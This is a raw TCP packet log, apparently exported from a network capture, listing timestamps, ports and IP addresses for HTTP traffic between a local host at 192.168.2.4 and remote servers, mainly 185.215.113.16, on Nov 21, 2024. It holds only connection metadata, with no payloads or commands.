Nov 21, 2024 07:10:29.175621033 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.175647974 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.175681114 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.176517010 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.176573038 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.176691055 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.176743984 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.177726984 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.177781105 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.177915096 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.177968025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.178834915 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.178869009 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.178891897 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.178922892 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.179891109 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.179924011 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.179945946 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.179975033 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.180785894 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.180843115 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.180932999 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.180985928 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.181859016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.181911945 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.182034016 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.182087898 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.183063984 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.183120012 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.183226109 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.183288097 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.184111118 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.184164047 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.184253931 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.184309959 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.185302019 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.185334921 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.185358047 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.185386896 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.186387062 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.186420918 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.186453104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.186485052 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.187431097 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.187500000 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.264085054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.264368057 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:29.285993099 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:29.286022902 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:29.330951929 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.331037045 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.331046104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.331080914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.331474066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.331538916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.331604004 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.331659079 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.332542896 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.332612038 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.332683086 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.332734108 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.333638906 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.333703041 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.333789110 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.333852053 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.334739923 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.334796906 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.334882975 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.334938049 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.335819960 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.335886002 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.335928917 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.336002111 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.336888075 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.336950064 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.337037086 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.337090015 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.337975025 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.338048935 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.338088989 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.338186979 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.339067936 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.339128971 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.339174986 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.339237928 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.340151072 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.340246916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.340270042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.340388060 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.341249943 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.341382027 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.341419935 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.341451883 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.342333078 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.342434883 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.342437983 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.342483997 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.343391895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.343457937 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.343530893 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.343579054 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.344506025 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.344569921 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.344614983 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.344667912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.345587969 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.345654964 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.345690966 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.345782995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.346672058 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.346724033 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.346724033 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.346776009 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.347381115 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.347745895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.347881079 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.347938061 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.348187923 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.348213911 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.348835945 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.348948956 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.348956108 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.348965883 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:29.348973036 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:29.349015951 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.349941969 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.350006104 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.350087881 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.350148916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.351008892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.351063967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.351128101 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.351205111 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.352093935 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.352207899 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.352220058 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.352262020 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.353179932 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.353254080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.353265047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.353308916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.354231119 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.354290009 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.354338884 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.354412079 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.355330944 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.355389118 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.355432987 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.355490923 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.356456995 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.356513977 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.356556892 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.356607914 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.357481003 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.357536077 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.357597113 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.357646942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.358588934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.358637094 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.358680964 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.358730078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.359666109 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.359721899 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.359765053 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.359812975 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.360806942 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.360861063 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.360898018 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.361062050 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.361840963 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.361888885 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.361969948 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.362020016 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.362927914 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.362983942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.363073111 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.363133907 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.364034891 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.364087105 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.364136934 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.364187002 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.365103960 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.365151882 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.365246058 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.365295887 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.366189957 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.366242886 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.366293907 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.366343021 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.367264986 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.367330074 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.367383003 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.367443085 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.368387938 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.368438005 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.368494987 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.368545055 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.369465113 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.369514942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.369565010 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.369611025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.370541096 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.370589972 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.370804071 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.370853901 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.371834040 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.371985912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.372039080 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.372746944 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.372806072 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.372875929 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.372925043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.373790026 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.373924971 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.373976946 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.374912024 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.374974966 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.375046968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.375101089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.376025915 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.376049042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.376091957 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.376122952 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.377060890 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.377178907 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.377289057 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.378228903 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.378283978 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.378302097 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.378351927 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.379220963 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.379275084 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.379348040 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.380364895 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.380417109 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.380466938 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.380518913 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.381408930 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.381463051 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.381537914 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.381587029 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.382488012 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.382565022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.382616043 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.383560896 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.383613110 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.383670092 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.383718967 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.384659052 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.384712934 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.384763002 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.385221004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.385749102 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.385812998 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.385869980 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.385922909 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.386957884 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.387022018 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.387108088 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.387156963 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.387867928 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.388411999 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.405483007 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405534029 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405581951 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405626059 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405679941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405692101 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405714989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.405736923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:29.532461882 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.532524109 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.532596111 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.532975912 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.533036947 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.533178091 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.533231020 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.534024000 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.534173965 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.534224033 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.535120010 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.535182953 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.535228968 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.535275936 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.536207914 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.536287069 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.536314011 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.536345959 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.537271976 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.537379980 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.537437916 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.538418055 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.538444996 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.538496971 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.539464951 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.539524078 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.539556026 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.539602995 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.540525913 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.540613890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.540664911 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.540715933 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.541610956 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.541727066 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.541784048 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.542689085 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.542742968 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.542793989 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.542839050 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.543786049 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.543843985 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.543895960 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.544869900 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.544924021 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.545000076 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.545047998 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.545952082 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.546014071 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.546058893 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.546108007 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.547044992 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.547151089 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.547200918 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.548134089 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.548206091 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.548237085 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.548269987 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.549230099 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.549321890 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.549360991 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.549411058 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.550297022 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.550355911 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.550434113 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.550483942 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.551405907 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.551506042 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:29.551512957 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.551548004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:29.552473068 CET	80	49810	185.215.113.16	192.168.2.4
